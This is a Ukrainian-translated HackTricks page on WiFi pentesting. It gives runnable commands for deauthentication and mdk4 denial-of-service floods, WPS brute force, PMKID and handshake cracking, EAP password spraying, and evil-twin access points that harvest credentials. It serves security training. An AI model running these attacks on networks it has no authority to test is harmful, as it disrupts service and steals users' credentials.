71 KiB
Pentesting Wifi
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами багів!
Хакерські інсайти
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
Новини хакінгу в реальному часі
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
Останні оголошення
Залишайтеся в курсі нових програм винагород за баги та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
Wifi basic commands
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Інструменти
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Запустіть airgeddon з docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
wifiphisher
Він може виконувати атаки Evil Twin, KARMA та Known Beacons, а потім використовувати шаблон фішингу, щоб отримати справжній пароль мережі або захопити облікові дані соціальних мереж.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Цей інструмент автоматизує WPS/WEP/WPA-PSK атаки. Він автоматично:
- Встановлює інтерфейс в режим монітора
- Сканує можливі мережі - І дозволяє вам вибрати жертву(и)
- Якщо WEP - Запускає WEP атаки
- Якщо WPA-PSK
- Якщо WPS: атака Pixie dust та атака грубої сили (будьте обережні, атака грубої сили може зайняти багато часу). Зверніть увагу, що він не намагається використовувати нульовий PIN або базу/згенеровані PIN.
- Спробує захопити PMKID з AP для його зламу
- Спробує деаутентифікувати клієнтів AP, щоб захопити хендшейк
- Якщо PMKID або хендшейк, спробує зламати за допомогою топ-5000 паролів.
Підсумок атак
- DoS
- Деаутентифікація/дезасоціація -- Відключити всіх (або конкретний ESSID/клієнт)
- Випадкові фейкові AP -- Сховати мережі, можливий крах сканерів
- Перевантажити AP -- Спробувати вбити AP (зазвичай не дуже корисно)
- WIDS -- Грати з IDS
- TKIP, EAPOL -- Деякі специфічні атаки для DoS деяких AP
- Злам
- Зламати WEP (кілька інструментів і методів)
- WPA-PSK
- WPS PIN "Груба сила"
- WPA PMKID груба сила
- [DoS +] Захоплення WPA хендшейка + Злам
- WPA-MGT
- Захоплення імені користувача
- Груба сила облікових даних
- Злий близнюк (з DoS або без)
- Відкритий Злий близнюк [+ DoS] -- Корисно для захоплення облікових даних порталу та/або виконання атак в LAN
- WPA-PSK Злий близнюк -- Корисно для атак на мережу, якщо ви знаєте пароль
- WPA-MGT -- Корисно для захоплення корпоративних облікових даних
- KARMA, MANA, Гучний MANA, Відомий маяк
- + Відкритий -- Корисно для захоплення облікових даних порталу та/або виконання атак в LAN
- + WPA -- Корисно для захоплення WPA хендшейків
DOS
Пакети деаутентифікації
Опис з тут:.
Деаутентифікаційні атаки, поширений метод у Wi-Fi хакінгу, включають підробку "управлінських" кадрів, щоб примусово відключити пристрої від мережі. Ці незашифровані пакети обманюють клієнтів, змушуючи їх вірити, що вони з легітимної мережі, що дозволяє зловмисникам збирати WPA хендшейки для цілей зламу або постійно порушувати мережеві з'єднання. Ця тактика, тривожна у своїй простоті, широко використовується і має значні наслідки для безпеки мережі.
Деаутентифікація за допомогою Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 означає деаутентифікацію
- 1 - це кількість деаутентифікацій, які потрібно надіслати (ви можете надіслати кілька, якщо бажаєте); 0 означає надсилати їх безперервно
- -a 00:14:6C:7E:40:80 - це MAC-адреса точки доступу
- -c 00:0F:B5:34:30:30 - це MAC-адреса клієнта, якого потрібно деаутентифікувати; якщо це пропустити, то надсилається широкомовна деаутентифікація (не завжди працює)
- ath0 - це назва інтерфейсу
Пакети Відключення
Пакети відключення, подібно до пакетів деаутентифікації, є типом управлінського кадру, що використовується в Wi-Fi мережах. Ці пакети служать для розриву з'єднання між пристроєм (таким як ноутбук або смартфон) і точкою доступу (AP). Основна відмінність між відключенням і деаутентифікацією полягає в їхніх сценаріях використання. У той час як AP випускає пакети деаутентифікації, щоб явно видалити зловмисні пристрої з мережі, пакети відключення зазвичай надсилаються, коли AP проходить через вимкнення, перезавантаження або переміщення, що вимагає роз'єднання всіх підключених вузлів.
Цей напад можна виконати за допомогою mdk4(режим "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Більше DOS атак за допомогою mdk4
В тут.
РЕЖИМ АТАКИ b: Затоплення маяками
Відправляє кадри маяків, щоб показати фальшиві AP на клієнтах. Це іноді може призвести до збоїв мережевих сканерів і навіть драйверів!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Відмова в обслуговуванні аутентифікації
Відправка аутентифікаційних кадрів до всіх доступних точок доступу (AP) в межах досяжності може перевантажити ці AP, особливо коли залучено багато клієнтів. Цей інтенсивний трафік може призвести до нестабільності системи, викликаючи зависання або навіть перезавантаження деяких AP.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Пр probing Access Points (APs) перевіряє, чи SSID правильно розкритий, і підтверджує діапазон AP. Ця техніка, в поєднанні з bruteforcing hidden SSIDs з або без словника, допомагає в ідентифікації та доступі до прихованих мереж.
ATTACK MODE m: Michael Countermeasures Exploitation
Відправка випадкових або дублікатних пакетів до різних QoS черг може активувати Michael Countermeasures на TKIP APs, що призводить до однієї хвилини вимкнення AP. Цей метод є ефективною тактикою DoS (Denial of Service) атаки.
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: Впорскування пакетів EAPOL Start та Logoff
Затоплення AP пакетами EAPOL Start створює фальшиві сесії, перевантажуючи AP та блокуючи легітимних клієнтів. Альтернативно, впорскування фальшивих повідомлень EAPOL Logoff примусово відключає клієнтів, обидва методи ефективно порушують мережевий сервіс.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Атаки для мереж IEEE 802.11s
Різні атаки на управління посиланнями та маршрутизацію в мережах з сітковою топологією.
ATTACK MODE w: Плутанина WIDS
Перехресне з'єднання клієнтів з кількома вузлами WDS або фальшивими зловмисними AP може маніпулювати системами виявлення та запобігання вторгненням, створюючи плутанину та потенційне зловживання системою.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
Пакетний фузер з різноманітними джерелами пакетів та комплексним набором модифікаторів для маніпуляції пакетами.
Airggedon
Airgeddon пропонує більшість атак, запропонованих у попередніх коментарях:
WPS
WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до маршрутизатора, покращуючи швидкість налаштування та зручність для мереж, зашифрованих за допомогою WPA або WPA2 Personal. Він неефективний для легко скомпрометованої безпеки WEP. WPS використовує 8-значний PIN-код, який перевіряється в двох частинах, що робить його вразливим до атак методом перебору через обмежену кількість комбінацій (11,000 можливостей).
WPS Bruteforce
Існує 2 основні інструменти для виконання цієї дії: Reaver та Bully.
- Reaver був розроблений як надійна та практична атака проти WPS і був протестований на різноманітних точках доступу та реалізаціях WPS.
- Bully є новою реалізацією атаки методом перебору WPS, написаною на C. Він має кілька переваг над оригінальним кодом reaver: менше залежностей, покращена пам'ять та продуктивність процесора, правильне оброблення порядку байтів та більш надійний набір опцій.
Атака експлуатує вразливість WPS PIN, зокрема його відкритість перших чотирьох цифр та роль останньої цифри як контрольної суми, що полегшує атаку методом перебору. Однак захист від атак методом перебору, такі як блокування MAC-адрес агресивних атакуючих, вимагає ротації MAC-адрес для продовження атаки.
Отримавши WPS PIN за допомогою інструментів, таких як Bully або Reaver, атакуючий може вивести WPA/WPA2 PSK, забезпечуючи постійний доступ до мережі.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Цей вдосконалений підхід націлений на WPS PIN, використовуючи відомі вразливості:
- Попередньо виявлені PIN-коди: Використовуйте базу даних відомих PIN-кодів, пов'язаних з конкретними виробниками, які відомі використанням однакових WPS PIN-кодів. Ця база даних корелює перші три октети MAC-адрес з ймовірними PIN-кодами для цих виробників.
- Алгоритми генерації PIN-кодів: Використовуйте алгоритми, такі як ComputePIN та EasyBox, які обчислюють WPS PIN-коди на основі MAC-адреси AP. Алгоритм Arcadyan додатково вимагає ідентифікатор пристрою, що додає рівень до процесу генерації PIN-коду.
WPS Pixie Dust attack
Dominique Bongard виявив недолік у деяких точках доступу (AP) щодо створення секретних кодів, відомих як nonces (E-S1 та E-S2). Якщо ці nonces можна вгадати, зламати WPS PIN AP стає легко. AP розкриває PIN у спеціальному коді (hash), щоб довести, що він легітимний, а не підроблений (rogue) AP. Ці nonces по суті є "ключами" для розблокування "сейфа", що містить WPS PIN. Більше про це можна знайти тут.
Простими словами, проблема в тому, що деякі AP не використовували достатньо випадкові ключі для шифрування PIN-коду під час процесу підключення. Це робить PIN вразливим до вгадування ззовні мережі (офлайн-атака методом грубої сили).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Якщо ви не хочете перевести пристрій в моніторний режим, або reaver
і bully
мають якісь проблеми, ви можете спробувати OneShot-C. Цей інструмент може виконувати атаку Pixie Dust без необхідності переходити в моніторний режим.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
Деякі погано спроектовані системи навіть дозволяють Null PIN (порожній або неіснуючий PIN) надавати доступ, що є досить незвичним. Інструмент Reaver здатний перевіряти цю вразливість, на відміну від Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Всі запропоновані атаки WPS можна легко виконати за допомогою airgeddon.
- 5 і 6 дозволяють спробувати ваш власний PIN (якщо у вас є)
- 7 і 8 виконують атаку Pixie Dust
- 13 дозволяє протестувати NULL PIN
- 11 і 12 збирають PIN-коди, пов'язані з вибраним AP з доступних баз даних і генерують можливі PIN-коди за допомогою: ComputePIN, EasyBox і, за бажанням, Arcadyan (рекомендується, чому б і ні?)
- 9 і 10 протестують кожен можливий PIN
WEP
Так зламаний і не використовується в наші дні. Просто знайте, що airgeddon має опцію WEP під назвою "All-in-One" для атаки на цей вид захисту. Багато інструментів пропонують подібні опції.
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
Hacking Insights
Залучайтеся до контенту, який занурюється в захоплення та виклики хакерства
Real-Time Hack News
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
Latest Announcements
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
WPA/WPA2 PSK
PMKID
У 2018 році hashcat виявив новий метод атаки, унікальний тим, що йому потрібен лише один пакет і не вимагає, щоб клієнти були підключені до цільового AP—лише взаємодія між атакуючим і AP.
Багато сучасних маршрутизаторів додають додаткове поле до першого EAPOL кадру під час асоціації, відоме як Robust Security Network
. Це включає PMKID
.
Як пояснює оригінальний пост, PMKID створюється за допомогою відомих даних:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Даючи те, що "PMK Name" є постійним, ми знаємо BSSID AP та станції, а PMK
ідентичний тому, що з повного 4-стороннього рукостискання, hashcat може використати цю інформацію для злому PSK та відновлення пароля!
Щоб зібрати цю інформацію та брутфорсити локально пароль, ви можете зробити:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Захоплені PMKIDs будуть показані в консолі та також збережені в _ /tmp/attack.pcap_
Тепер перетворіть захоплення в формат hashcat/john та зламайте його:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Будь ласка, зверніть увагу, що формат правильного хешу містить 4 частини, як: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
Якщо ваш лише містить 3 частини, то це недійсно (захоплення PMKID не було дійсним).
Зверніть увагу, що hcxdumptool
також захоплює рукопожаття (щось подібне з'явиться: MP:M1M2 RC:63258 EAPOLTIME:17091
). Ви можете перетворити рукопожаття у формат hashcat/john за допомогою cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
Я помітив, що деякі захоплені хендшейки за допомогою цього інструменту не могли бути зламані, навіть знаючи правильний пароль. Я рекомендую також захоплювати хендшейки традиційним способом, якщо це можливо, або захопити кілька з них за допомогою цього інструменту.
Захоплення хендшейка
Атака на WPA/WPA2 мережі може бути виконана шляхом захоплення хендшейка та спроби зламати пароль офлайн. Цей процес включає моніторинг зв'язку конкретної мережі та BSSID на певному каналі. Ось спрощена інструкція:
- Визначте BSSID, канал та підключеного клієнта цільової мережі.
- Використовуйте
airodump-ng
для моніторингу мережевого трафіку на вказаному каналі та BSSID, сподіваючись захопити хендшейк. Команда виглядатиме так:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Щоб збільшити шанси на захоплення хендшейка, тимчасово відключіть клієнта від мережі, щоб примусити його до повторної аутентифікації. Це можна зробити за допомогою команди
aireplay-ng
, яка надсилає пакети деаутентифікації клієнту:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Зверніть увагу, що оскільки клієнт був деавторизований, він міг спробувати підключитися до іншої AP або, в інших випадках, до іншої мережі.
Як тільки в airodump-ng
з'являється деяка інформація про хендшейк, це означає, що хендшейк був захоплений, і ви можете припинити прослуховування:
Як тільки хендшейк захоплений, ви можете зламати його за допомогою aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Перевірте, чи є хендшейк у файлі
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Якщо цей інструмент знайде незавершений хендшейк ESSID перед завершеним, він не виявить дійсний.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
У підприємницьких налаштуваннях WiFi ви зіткнетеся з різними методами аутентифікації, кожен з яких забезпечує різні рівні безпеки та функції управління. Коли ви використовуєте інструменти, такі як airodump-ng
, щоб перевірити мережевий трафік, ви можете помітити ідентифікатори для цих типів аутентифікації. Деякі поширені методи включають:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Цей метод підтримує апаратні токени та одноразові паролі в рамках EAP-PEAP. На відміну від MSCHAPv2, він не використовує виклик з боку партнера і надсилає паролі у відкритому вигляді до точки доступу, що створює ризик атак на зниження безпеки.
- EAP-MD5 (Message Digest 5):
- Включає надсилання MD5 хешу пароля з клієнта. Це не рекомендується через вразливість до атак словником, відсутність автентифікації сервера та неможливість генерувати специфічні для сесії WEP ключі.
- EAP-TLS (Transport Layer Security):
- Використовує як клієнтські, так і серверні сертифікати для автентифікації та може динамічно генерувати WEP ключі на основі користувача та сесії для захисту комунікацій.
- EAP-TTLS (Tunneled Transport Layer Security):
- Забезпечує взаємну автентифікацію через зашифрований тунель, а також метод для отримання динамічних WEP ключів для кожного користувача та сесії. Він вимагає лише серверних сертифікатів, а клієнти використовують облікові дані.
- PEAP (Protected Extensible Authentication Protocol):
- Функціонує подібно до EAP, створюючи TLS тунель для захищеної комунікації. Це дозволяє використовувати слабші протоколи автентифікації поверх EAP завдяки захисту, який надає тунель.
- PEAP-MSCHAPv2: Часто називається PEAP, він поєднує вразливий механізм виклику/відповіді MSCHAPv2 з захисним TLS тунелем.
- PEAP-EAP-TLS (або PEAP-TLS): Подібно до EAP-TLS, але ініціює TLS тунель перед обміном сертифікатами, пропонуючи додатковий рівень безпеки.
Ви можете знайти більше інформації про ці методи автентифікації тут та тут.
Захоплення імені користувача
Читаючи https://tools.ietf.org/html/rfc3748#page-27, виглядає так, що якщо ви використовуєте EAP, то "Ідентифікаційні" повідомлення повинні бути підтримувані, і ім'я користувача буде надіслано у відкритому вигляді в "Відповіді на ідентифікацію".
Навіть використовуючи один з найбільш безпечних методів автентифікації: PEAP-EAP-TLS, можливо захопити ім'я користувача, надіслане в протоколі EAP. Для цього захопіть автентифікаційне спілкування (запустіть airodump-ng
всередині каналу та wireshark
на тому ж інтерфейсі) і відфільтруйте пакети за eapol
.
У пакеті "Відповідь, Ідентифікація" з'явиться ім'я користувача клієнта.
Анонімні ідентичності
Приховування ідентичності підтримується як EAP-PEAP, так і EAP-TTLS. У контексті WiFi мережі запит EAP-Ідентичності зазвичай ініціюється точкою доступу (AP) під час процесу асоціації. Щоб забезпечити захист анонімності користувача, відповідь від EAP клієнта на пристрої користувача містить лише основну інформацію, необхідну для початкового RADIUS сервера для обробки запиту. Ця концепція ілюструється через наступні сценарії:
- EAP-Ідентичність = анонімний
- У цьому сценарії всі користувачі використовують псевдонім "анонімний" як свій ідентифікатор. Початковий RADIUS сервер функціонує як EAP-PEAP або EAP-TTLS сервер, відповідальний за управління серверною стороною протоколу PEAP або TTLS. Внутрішній (захищений) метод автентифікації потім обробляється локально або делегується віддаленому (домашньому) RADIUS серверу.
- EAP-Ідентичність = анонімний@realm_x
- У цій ситуації користувачі з різних доменів приховують свої ідентичності, вказуючи свої відповідні домени. Це дозволяє початковому RADIUS серверу проксувати запити EAP-PEAP або EAP-TTLS до RADIUS серверів у їхніх домашніх доменах, які діють як сервер PEAP або TTLS. Початковий RADIUS сервер працює виключно як RADIUS релейний вузол.
- Альтернативно, початковий RADIUS сервер може функціонувати як сервер EAP-PEAP або EAP-TTLS і або обробляти захищений метод автентифікації, або пересилати його на інший сервер. Цей варіант полегшує налаштування різних політик для різних доменів.
У EAP-PEAP, як тільки TLS тунель встановлено між сервером PEAP і клієнтом PEAP, сервер PEAP ініціює запит EAP-Ідентичності та передає його через TLS тунель. Клієнт відповідає на цей другий запит EAP-Ідентичності, надсилаючи відповідь EAP-Ідентичності, що містить справжню ідентичність користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю справжньої ідентичності користувача будь-кому, хто підслуховує трафік 802.11.
EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS клієнт зазвичай автентифікується за допомогою PAP або CHAP, захищених TLS тунелем. У цьому випадку клієнт включає атрибут User-Name та або атрибут Password, або атрибут CHAP-Password у початкове TLS повідомлення, надіслане після встановлення тунелю.
Незалежно від вибраного протоколу, сервер PEAP/TTLS отримує знання про справжню ідентичність користувача після встановлення TLS тунелю. Справжня ідентичність може бути представлена як user@realm або просто user. Якщо сервер PEAP/TTLS також відповідає за автентифікацію користувача, він тепер має ідентичність користувача і продовжує з методом автентифікації, захищеним TLS тунелем. Альтернативно, сервер PEAP/TTLS може переслати новий RADIUS запит на домашній RADIUS сервер користувача. Цей новий RADIUS запит не містить шару протоколу PEAP або TTLS. У випадках, коли захищений метод автентифікації є EAP, внутрішні EAP повідомлення передаються на домашній RADIUS сервер без обгортки EAP-PEAP або EAP-TTLS. Атрибут User-Name вихідного RADIUS повідомлення містить справжню ідентичність користувача, замінюючи анонімне ім'я користувача з вхідного RADIUS запиту. Коли захищений метод автентифікації є PAP або CHAP (підтримується лише TTLS), атрибут User-Name та інші атрибути автентифікації, витягнуті з TLS корисного навантаження, замінюються у вихідному RADIUS повідомленні, витісняючи анонімне ім'я користувача та атрибути TTLS EAP-Message, знайдені у вхідному RADIUS запиті.
Для отримання додаткової інформації перегляньте https://www.interlinknetworks.com/app_notes/eap-peap.htm
EAP-Брутфорс (password spray)
Якщо очікується, що клієнт використовуватиме ім'я користувача та пароль (зверніть увагу, що EAP-TLS не буде дійсним у цьому випадку), тоді ви можете спробувати отримати список імен користувачів (див. наступну частину) та паролів і спробувати брутфорсити доступ, використовуючи air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Ви також можете виконати цю атаку, використовуючи eaphammer
:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Теорія атак на клієнтів
Вибір мережі та роумінг
- Протокол 802.11 визначає, як станція приєднується до Розширеного Сервісного Набору (ESS), але не вказує критерії для вибору ESS або точки доступу (AP) в його межах.
- Станції можуть переміщатися між AP, які ділять один і той же ESSID, підтримуючи з'єднання в межах будівлі або території.
- Протокол вимагає аутентифікації станції до ESS, але не зобов'язує AP аутентифікувати станцію.
Списки уподобаних мереж (PNL)
- Станції зберігають ESSID кожної бездротової мережі, до якої вони підключаються, у своєму Списку Уподобаних Мереж (PNL), разом із специфічними для мережі конфігураційними деталями.
- PNL використовується для автоматичного підключення до відомих мереж, покращуючи досвід користувача шляхом спрощення процесу підключення.
Пасивне сканування
- AP періодично транслюють маякові кадри, оголошуючи про свою присутність та особливості, включаючи ESSID AP, якщо трансляція не вимкнена.
- Під час пасивного сканування станції слухають маякові кадри. Якщо ESSID маяка збігається з записом у PNL станції, станція може автоматично підключитися до цього AP.
- Знання PNL пристрою дозволяє потенційно експлуатувати його, імітуючи ESSID відомої мережі, обманюючи пристрій, щоб підключитися до зловмисного AP.
Активне опитування
- Активне опитування передбачає, що станції надсилають запити на опитування для виявлення найближчих AP та їх характеристик.
- Цілеспрямовані запити на опитування націлені на конкретний ESSID, допомагаючи виявити, чи є певна мережа в межах досяжності, навіть якщо це прихована мережа.
- Запити на опитування з трансляцією мають порожнє поле SSID і надсилаються всім найближчим AP, дозволяючи станції перевірити наявність будь-якої уподобаної мережі без розкриття вмісту свого PNL.
Простий AP з перенаправленням в Інтернет
Перед тим, як пояснити, як виконати більш складні атаки, буде пояснено як просто створити AP і перенаправити його трафік на інтерфейс, підключений до Інтернету.
Використовуючи ifconfig -a
, перевірте, що інтерфейс wlan для створення AP та інтерфейс, підключений до Інтернету, присутні.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Створіть файл конфігурації /etc/dnsmasq.conf
:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Тоді встановіть IP-адреси та маршрути:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
А потім запустіть dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Створіть файл конфігурації hostapd.conf
:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Зупиніть набридливі процеси, встановіть моніторний режим та запустіть hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Пересилання та Перенаправлення
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Атака "злий близнюк" використовує спосіб, яким клієнти WiFi розпізнають мережі, в основному покладаючись на ім'я мережі (ESSID) без вимоги до базової станції (точки доступу) автентифікувати себе для клієнта. Ключові моменти включають:
- Складність у розрізненні: Пристрої мають труднощі у відрізненні легітимних і зловмисних точок доступу, коли вони мають однаковий ESSID і тип шифрування. Реальні мережі часто використовують кілька точок доступу з однаковим ESSID для безперервного покриття.
- Роумінг клієнтів і маніпуляція з'єднанням: Протокол 802.11 дозволяє пристроям переміщатися між точками доступу в межах одного ESS. Зловмисники можуть скористатися цим, заманюючи пристрій відключитися від його поточної базової станції та підключитися до зловмисної. Це можна досягти, запропонувавши сильніший сигнал або порушивши з'єднання з легітимною точкою доступу за допомогою методів, таких як пакети деавтентифікації або джемінг.
- Виклики в реалізації: Успішне виконання атаки "злий близнюк" в умовах з кількома, добре розташованими точками доступу може бути складним. Деавтентифікація однієї легітимної точки доступу часто призводить до того, що пристрій підключається до іншої легітимної точки доступу, якщо зловмисник не може деавтентифікувати всі сусідні точки доступу або стратегічно розмістити зловмисну точку доступу.
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Ви також можете створити Evil Twin, використовуючи eaphammer (зверніть увагу, що для створення evil twins за допомогою eaphammer інтерфейс не повинен бути в монітор режимі):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Або використовуючи Airgeddon: Options: 5,6,7,8,9 (в меню атаки Evil Twin).
Зверніть увагу, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключиться автоматично до відкритого evil Twin. Ви можете спробувати DoS реальний AP і сподіватися, що користувач підключиться вручну до вашого відкритого evil twin, або ви можете DoS реальний AP і використовувати WPA Evil Twin для захоплення хендшейку (використовуючи цей метод, ви не зможете дозволити жертві підключитися до вас, оскільки не знаєте PSK, але ви можете захопити хендшейк і спробувати його зламати).
Деякі ОС та AV попередять користувача, що підключення до відкритої мережі небезпечне...
WPA/WPA2 Evil Twin
Ви можете створити Evil Twin, використовуючи WPA/2, і якщо пристрої налаштовані на підключення до цього SSID з WPA/2, вони спробують підключитися. У будь-якому випадку, щоб завершити 4-way-handshake, вам також потрібно знати пароль, який клієнт збирається використовувати. Якщо ви не знаєте його, підключення не буде завершено.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Щоб зрозуміти ці атаки, я рекомендую спочатку прочитати короткий WPA Enterprise explanation.
Використання hostapd-wpe
hostapd-wpe
потребує конфігураційного файлу для роботи. Щоб автоматизувати генерацію цих конфігурацій, ви можете використовувати https://github.com/WJDigby/apd_launchpad (завантажте python файл всередині /etc/hostapd-wpe/).
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
У файлі конфігурації ви можете вибрати багато різних параметрів, таких як ssid, канал, файли користувачів, cret/key, dh параметри, версія wpa та auth...
Використання hostapd-wpe з EAP-TLS для дозволу будь-якого сертифіката для входу.
Використання EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
За замовчуванням, EAPHammer пропонує ці методи аутентифікації (зверніть увагу, що GTC є першим, який намагається отримати паролі у відкритому вигляді, а потім використовуються більш надійні методи аутентифікації):
